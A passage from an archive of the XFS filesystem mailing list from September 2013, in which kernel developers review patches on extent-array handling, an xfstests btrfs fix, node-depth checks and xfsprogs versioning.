>> 3rd 32 16 48 + 32 = 80 roundup=128 >> >> In this case, the desired value of new_size should be 48, and then >> it will be roundup to 64 and be assigned to rnew_size. > > Ok, so it allocates 128 bytes instead of 64 bytes. It tracks that > allocation size correctly ifp->if_real_bytes, and all it means is > that there are 4 empty extra slots in the extent array. The code > already handles having empty slots in the direct extent array, so > what impact is there as a result of the oversized initial allocation > that is currently happening? > > i.e. if fixing the oversized results in more memory allocations due > to resizing more regularly, then is there a benefit to changing this > code given that the rewrite of the ifp->if_bytes value in the case > where we do inline->direct conversion prevents this over-allocation > from being a problem... I guess my current patch subject/description mislead you. The result of the oversized can be ignored since this can be handled in the direct extent array as empty slots. Actually, what I want to say is that we don't need to perform "new_size += ifp->if_bytes;" again at xfs_iext_realloc_direct() because the new_size at xfs_iext_add() already be the size of extents after adding, just as the variable comments is mentioned. Thanks, -Jeff From jeff.liu@oracle.com Sun Sep 22 23:56:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9D5327CBF for ; Sun, 22 Sep 2013 23:56:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 80707304043 for ; Sun, 22 Sep 2013 21:56:14 -0700 (PDT) X-ASG-Debug-ID: 1379912173-04cb6c2e9f12f0c60001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id DR1yCNesSaQ1EQE2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Sep 2013 21:56:13 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8N4uB4K025536 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 23 Sep 2013 04:56:11 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8N4uATN010034 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 23 Sep 2013 04:56:10 GMT Received: from abhmt101.oracle.com (abhmt101.oracle.com [141.146.116.53]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8N4uAPh010024; Mon, 23 Sep 2013 04:56:10 GMT Received: from [192.168.1.104] (/221.223.100.112) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 22 Sep 2013 21:56:09 -0700 Message-ID: <523FCA18.1000204@oracle.com> Date: Mon, 23 Sep 2013 12:56:56 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly References: <523C5E92.8000406@oracle.com> <20130923003617.GM12541@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly In-Reply-To: <20130923003617.GM12541@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1379912173 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140840 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/23/2013 08:36 AM, Dave Chinner wrote: > On Fri, Sep 20, 2013 at 10:41:22PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> To free the incore file extents stores at the indirection array, we >> call the common routine xfs_iext_irec_remove() to remove a record >> from the array one at a time in reverse order, which will resize an >> extent indirection array repeatedly according to the array size. >> >> This is not often the case to make a file with thousands extent records >> stores at an indirection array, but above operation is inefficient and >> could result in memory fragments. > > Yes, it may be inefficient, but I don't see that it's a contributor > to memory fragmentation as the reallocated buffer is freed shortly > after it has been allocated as the array shrinks. Do you have any > evidence to suggest that such behaviour is actually fragmenting > memory? If so, is the any test case that reproduces this problem? Ah, yes, it should not cause memory fragmentation. The benefits is that this change could save alloc/free buffers depending on the number of extents records are stored at indirection array. > > How did you test the change? I only test this change with a simple case for creating a sparse file with 8192 extents, which was shown as following, xfs_io -f -c "truncate 10g" /xfs/testme for i in $(seq 0 1 8191); do offset=$(($i * $((1 << 20)))) xfs_io -c "pwrite $offset 1k" /xfs/testme done > >> This patch refine xfs_iext_destroy() by freeing the extent records from >> the indirection array directly in this case. >> >> Signed-off-by: Jie Liu >> --- > > FWIW, it is best to title a resend as [PATCH x/y, V2], and here tell > us what changed between posts such as: > > V2: > - fixed typo in original posting Ok. :) Thanks, -Jeff > >> fs/xfs/xfs_inode_fork.c | 7 +++++-- >> 1 file changed, 5 insertions(+), 2 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c >> index 02f1083..ba70f98 100644 >> --- a/fs/xfs/xfs_inode_fork.c >> +++ b/fs/xfs/xfs_inode_fork.c >> @@ -1525,9 +1525,12 @@ xfs_iext_destroy( >> int nlists; >> >> nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; >> - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { >> - xfs_iext_irec_remove(ifp, erp_idx); >> + for (erp_idx = 0; erp_idx < nlists; erp_idx++) { >> + xfs_ext_irec_t *erp = &ifp->if_u1.if_ext_irec[erp_idx]; >> + if (erp->er_extbuf) >> + kmem_free(erp->er_extbuf); >> } >> + kmem_free(ifp->if_u1.if_ext_irec); > > > The code looks correct... > > Cheers, > > Dave. From bo.li.liu@oracle.com Mon Sep 23 03:47:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 328FD7F37 for ; Mon, 23 Sep 2013 03:47:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 11BBD8F8033 for ; Mon, 23 Sep 2013 01:47:45 -0700 (PDT) X-ASG-Debug-ID: 1379926060-04cb6c153d12facb0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id AoqqG8tqMNccpddz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Sep 2013 01:47:40 -0700 (PDT) X-Barracuda-Envelope-From: bo.li.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8N8ldHs027962 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 23 Sep 2013 08:47:39 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8N8lcAr010447 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 23 Sep 2013 08:47:39 GMT Received: from abhmt108.oracle.com (abhmt108.oracle.com [141.146.116.60]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8N8lb1s003012; Mon, 23 Sep 2013 08:47:38 GMT Received: from localhost.jp.oracle.com (/10.191.9.254) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 23 Sep 2013 01:47:37 -0700 From: Liu Bo To: linux-btrfs@vger.kernel.org Cc: xfs@oss.sgi.com Subject: [PATCH] xfstest/btrfs/001: fix the misuse of subvolume set-default Date: Mon, 23 Sep 2013 16:47:29 +0800 X-ASG-Orig-Subj: [PATCH] xfstest/btrfs/001: fix the misuse of subvolume set-default Message-Id: <1379926049-22135-1-git-send-email-bo.li.liu@oracle.com> X-Mailer: git-send-email 1.8.1.4 X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1379926060 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140844 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines The command is btrfs subvolume set-default . It uses @subvolid to control the default subvolume and @subvolid=0 has always been parsed into FS_TREE no matter what subvolume @path points to. So in order to set a subvolume to the default one, we need to get the id of this subvolume first. Also fix a typo: s/sbuvolid/subvolid/g Signed-off-by: Liu Bo --- tests/btrfs/001 | 5 +++-- tests/btrfs/001.out | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/tests/btrfs/001 b/tests/btrfs/001 index 9aa2431..1864e01 100755 --- a/tests/btrfs/001 +++ b/tests/btrfs/001 @@ -77,12 +77,13 @@ ls $SCRATCH_MNT/subvol echo "Creating file bar in subvol" dd if=/dev/zero of=$SCRATCH_MNT/subvol/bar bs=1M count=1 &> /dev/null echo "Setting subvol to the default" -$BTRFS_UTIL_PROG subvolume set-default 0 $SCRATCH_MNT/subvol | _filter_scratch +subid=`$BTRFS_UTIL_PROG subvolume list $SCRATCH_MNT | grep subvol | awk '{print $2}'` +$BTRFS_UTIL_PROG subvolume set-default $subid $SCRATCH_MNT | _filter_scratch _scratch_remount echo "List root dir which is now subvol" ls $SCRATCH_MNT _scratch_unmount -echo "Mounting sbuvolid=0 for the root dir" +echo "Mounting subvolid=0 for the root dir" _scratch_mount "-o subvolid=0" echo "List root dir" ls $SCRATCH_MNT diff --git a/tests/btrfs/001.out b/tests/btrfs/001.out index c782bde..7810c27 100644 --- a/tests/btrfs/001.out +++ b/tests/btrfs/001.out @@ -22,7 +22,7 @@ Creating file bar in subvol Setting subvol to the default List root dir which is now subvol bar -Mounting sbuvolid=0 for the root dir +Mounting subvolid=0 for the root dir List root dir snap subvol -- 1.7.7 From BATV+604d8b89bac9a2992096+3683+infradead.org+hch@bombadil.srs.infradead.org Mon Sep 23 07:26:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 61B7B7F37 for ; Mon, 23 Sep 2013 07:26:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E601EAC003 for ; Mon, 23 Sep 2013 05:26:27 -0700 (PDT) X-ASG-Debug-ID: 1379939184-04cb6c2e9f1311630001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id gnobPNLCFiloSUf8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 23 Sep 2013 05:26:25 -0700 (PDT) X-Barracuda-Envelope-From: BATV+604d8b89bac9a2992096+3683+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VO5Db-0001e3-HI; Mon, 23 Sep 2013 12:26:23 +0000 Date: Mon, 23 Sep 2013 05:26:23 -0700 From: Christoph Hellwig To: Dave Chinner Cc: Ben Myers , rjohnston@sgi.com, sandeen@sandeen.net, xfs@oss.sgi.com Subject: Re: xfsprogs: update version for 3.2.0-alpha1 Message-ID: <20130923122623.GA2199@infradead.org> X-ASG-Orig-Subj: Re: xfsprogs: update version for 3.2.0-alpha1 References: <20130916205637.GD1935@sgi.com> <20130916223855.GF19103@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130916223855.GF19103@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1379939184 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140848 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Sep 17, 2013 at 08:38:55AM +1000, Dave Chinner wrote: > On Mon, Sep 16, 2013 at 03:56:37PM -0500, Ben Myers wrote: > > xfsprogs: update version for 3.2.0-alpha1 > > I'd say this is a major feature and infrastructure > update across the entire xfsprogs package, and in that case a > PKG_MAJOR bump is warranted, not PKG_MINOR. > > i.e. We're shooting for a 4.0 release, not 3.2... I tend to disagree with the 4.0 bump. 2.0 was when the new xattr ABI was introduced, and 3.0 was when we pulled fsr over from xfsdump to xfsprogs as well as drastically reducing the amount of installed headers. While the v5 support is a major internal change I think 3.2 would fit better for this. I'd also be tempted to just cut 3.2.0 instead of an alpha version - just keep the v5 support experimental, maybe under a configure option. From JBacik@fusionio.com Mon Sep 23 08:17:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E3A47F4E for ; Mon, 23 Sep 2013 08:17:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0C3FB304059 for ; Mon, 23 Sep 2013 06:17:50 -0700 (PDT) X-ASG-Debug-ID: 1379942269-04cb6c153d1311360001-NocioJ Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id I2C5HPUA1cb4ZpUN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Sep 2013 06:17:49 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id 393199A03DC for ; Mon, 23 Sep 2013 07:17:49 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1379942269; bh=I6JK1Id78lQl7I4qm/SOrIobWI62g3Tj0/jZeK0ZJEA=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=N+PoPzq0q7gjLWdYNSIXw1fpCportEGsy+eO5t0FIPUNOvZILyB0I8MMrKisDExlc hDFHWBng6ojRPiSrc7RgriJq0I72AEu2s1XD8X0FNJ9TUetVnvQxaHuPZlkJEP4OMy 3sDM0GvbA78x8bSL7GCoQafuyvuetFMBi9khN2g8= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx2.fusionio.com with ESMTP id y2lfElZEWPVuAMgC (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 23 Sep 2013 07:17:48 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.158.1; Mon, 23 Sep 2013 07:17:47 -0600 Date: Mon, 23 Sep 2013 09:17:46 -0400 From: Josef Bacik To: Liu Bo CC: , Subject: Re: [PATCH] xfstest/btrfs/001: fix the misuse of subvolume set-default Message-ID: <20130923131746.GA18681@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] xfstest/btrfs/001: fix the misuse of subvolume set-default References: <1379926049-22135-1-git-send-email-bo.li.liu@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <1379926049-22135-1-git-send-email-bo.li.liu@oracle.com> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1379942269 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140849 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Sep 23, 2013 at 04:47:29PM +0800, Liu Bo wrote: > The command is > btrfs subvolume set-default . > > It uses @subvolid to control the default subvolume and > @subvolid=0 has always been parsed into FS_TREE no matter > what subvolume @path points to. > > So in order to set a subvolume to the default one, we need > to get the id of this subvolume first. > > Also fix a typo: > s/sbuvolid/subvolid/g > > Signed-off-by: Liu Bo Sent a patch for this already. Thanks, Josef From tinguely@sgi.com Mon Sep 23 08:36:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C1D557F52 for ; Mon, 23 Sep 2013 08:36:55 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 821B28F8049; Mon, 23 Sep 2013 06:36:52 -0700 (PDT) Message-ID: <524043F4.6000202@sgi.com> Date: Mon, 23 Sep 2013 08:36:52 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" , Eric Sandeen Subject: Re: [PATCH] xfs_check: fix test for too-high level in v2 dir node References: <52322B67.80305@redhat.com> <523A0086.1080000@sgi.com> <523A0AF0.3000507@sandeen.net> In-Reply-To: <523A0AF0.3000507@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/18/13 15:20, Eric Sandeen wrote: > On 9/18/13 2:35 PM, Mark Tinguely wrote: >> On 09/12/13 16:00, Eric Sandeen wrote: >>> The test as it stands allows level == XFS_DA_NODE_MAXDEPTH (5), >>> but a max depth of 5 equates to level values of 0 through 4. >>> >>> Level 5 would be a depth of 6. >>> >>> Signed-off-by: Eric Sandeen >>> --- >>> >> >>> diff --git a/db/check.c b/db/check.c >>> index cbe55ba..d9e3e3f 100644 >>> --- a/db/check.c >>> +++ b/db/check.c >>> @@ -3138,7 +3138,7 @@ process_leaf_node_dir_v2_int( >>> case XFS_DA_NODE_MAGIC: >>> node = iocur_top->data; >>> xfs_da3_node_hdr_from_disk(&nodehdr, node); >>> - if (nodehdr.level < 1 || nodehdr.level > XFS_DA_NODE_MAXDEPTH) { >>> + if (nodehdr.level < 1 || nodehdr.level >= XFS_DA_NODE_MAXDEPTH) { >>> if (!sflag || v) >>> dbprintf(_("bad node block level %d for dir ino " >>> "%lld block %d\n"), >> >> >> I think the current code is correct. >> >> 0 is a leaf. levels 1-XFS_DA_NODE_MAXDEPTH are nodes. >> Subtract 1 when used as an index. > > case XFS_DA_NODE_MAGIC: > node = iocur_top->data; > xfs_da3_node_hdr_from_disk(&nodehdr, node); > to->level = be16_to_cpu(from->hdr.__level); > if (nodehdr.level < 1 || nodehdr.level > XFS_DA_NODE_MAXDEPTH) { > > so nodehdr.level comes directly off the disk. > > Hm, ok, let's look at the verifier, xfs_da3_node_verify: > > xfs_da3_node_hdr_from_disk /* sets to->level = be16_to_cpu(from->hdr.__level) */ > > ... > > if (ichdr.level == 0) > return false; > if (ichdr.level > XFS_DA_NODE_MAXDEPTH) > return false; > > ok, so 1 through XFS_DA_NODE_MAXDEPTH is valid for a generic node. *shrug* ok > fine, I agree. It's only xfs_check anyway. ;) > > Feel free to drop this patch then. > > But now I'm trying to reconcile it w/ the code in repair, > > i = da_cursor->active = nodehdr.level; > if (i < 1 || i >= XFS_DA_NODE_MAXDEPTH) { > > which considers nodehdr.level == XFS_DA_NODE_MAXDEPTH to be problematic, because > i (== nodehdr.level) is used directly as an index into a level[XFS_DA_NODE_MAXDEPTH]-sized > array. > > So confused. :/ (Maybe the cursor array needs to be 1 bigger?) > > -Eric Strange, the kernel attribute asserts use XFS_DA_NODE_MAXDEPTH-1 as the maximum good value. Looks like the repair code uses the cursor level[0], so we cannot index with (i - 1). I agree that the array in the da_bt_cursor should be one greater. --Mark. From tinguely@sgi.com Mon Sep 23 08:38:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0375F7F55 for ; Mon, 23 Sep 2013 08:38:17 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id D79E28F8049; Mon, 23 Sep 2013 06:38:16 -0700 (PDT) Message-ID: <52404448.7040800@sgi.com> Date: Mon, 23 Sep 2013 08:38:16 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <20130923000824.GK12541@dastard> In-Reply-To: <20130923000824.GK12541@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/22/13 19:08, Dave Chinner wrote: > On Fri, Sep 20, 2013 at 05:05:08PM -0500, Mark Tinguely wrote: >> Commit f5ea1100 cleans up the disk to host conversions for >> node directory entries, but because a variable is reused in >> xfs_node_toosmall() the next node is not correctly found. >> If the original node is small enough (<= 3/8 of the node size), >> this change may incorrectly cause a node collapse when it should >> not. That will cause an assert in xfstest generic/319: >> >> Assertion failed: first<= last&& last< BBTOB(bp->b_length), >> file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 >> >> Keep the original node header to get the correct forward node. >> >> Signed-off-by: Mark Tinguely >> --- ... > Yes, that definitely a bug, but I think that the change doesn't > scope correctly. The original node header doesn't need to be saved > like this - the node header decoded in the loop needs a loop-scope > variable. i.e.: > > /* start with smaller blk num */ > forward = nodehdr.forw< nodehdr.back; > for (i = 0; i< 2; forward = !forward, i++) { > + struct xfs_da3_icnode_hdr thdr; > + > if (forward) > blkno = nodehdr.forw; > else > blkno = nodehdr.back; > if (blkno == 0) > continue; > error = xfs_da3_node_read(state->args->trans, state->args->dp, > blkno, -1,&bp, state->args->whichfork); > if (error) > return(error); > > node = bp->b_addr; > - xfs_da3_node_hdr_from_disk(&nodehdr, node); > + xfs_da3_node_hdr_from_disk(&thdr, node); > xfs_trans_brelse(state->args->trans, bp); > > - if (count - nodehdr.count>= 0) > + if (count - thdr.count>= 0) > break; /* fits with at least 25% to spare */ > } > > Cheers, > > Dave. Okay thanks. --Mark. From sandeen@sandeen.net Mon Sep 23 09:04:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B63CC7F58 for ; Mon, 23 Sep 2013 09:04:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 96FBE8F8049 for ; Mon, 23 Sep 2013 07:04:31 -0700 (PDT) X-ASG-Debug-ID: 1379945069-04bdf02f211360400001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id ASiVp576UTmu9day for ; Mon, 23 Sep 2013 07:04:30 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 116ED6818D48; Mon, 23 Sep 2013 09:04:29 -0500 (CDT) Message-ID: <52404A6E.4070306@sandeen.net> Date: Mon, 23 Sep 2013 09:04:30 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Christoph Hellwig CC: Dave Chinner , Ben Myers , rjohnston@sgi.com, xfs@oss.sgi.com Subject: Re: xfsprogs: update version for 3.2.0-alpha1 References: <20130916205637.GD1935@sgi.com> <20130916223855.GF19103@dastard> <20130923122623.GA2199@infradead.org> X-ASG-Orig-Subj: Re: xfsprogs: update version for 3.2.0-alpha1 In-Reply-To: <20130923122623.GA2199@infradead.org> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379945069 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140849 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/23/13 7:26 AM, Christoph Hellwig wrote: > On Tue, Sep 17, 2013 at 08:38:55AM +1000, Dave Chinner wrote: >> On Mon, Sep 16, 2013 at 03:56:37PM -0500, Ben Myers wrote: >>> xfsprogs: update version for 3.2.0-alpha1 >> >> I'd say this is a major feature and infrastructure >> update across the entire xfsprogs package, and in that case a >> PKG_MAJOR bump is warranted, not PKG_MINOR. >> >> i.e. We're shooting for a 4.0 release, not 3.2... > > I tend to disagree with the 4.0 bump. > > 2.0 was when the new xattr ABI was introduced, and 3.0 was when we > pulled fsr over from xfsdump to xfsprogs as well as drastically 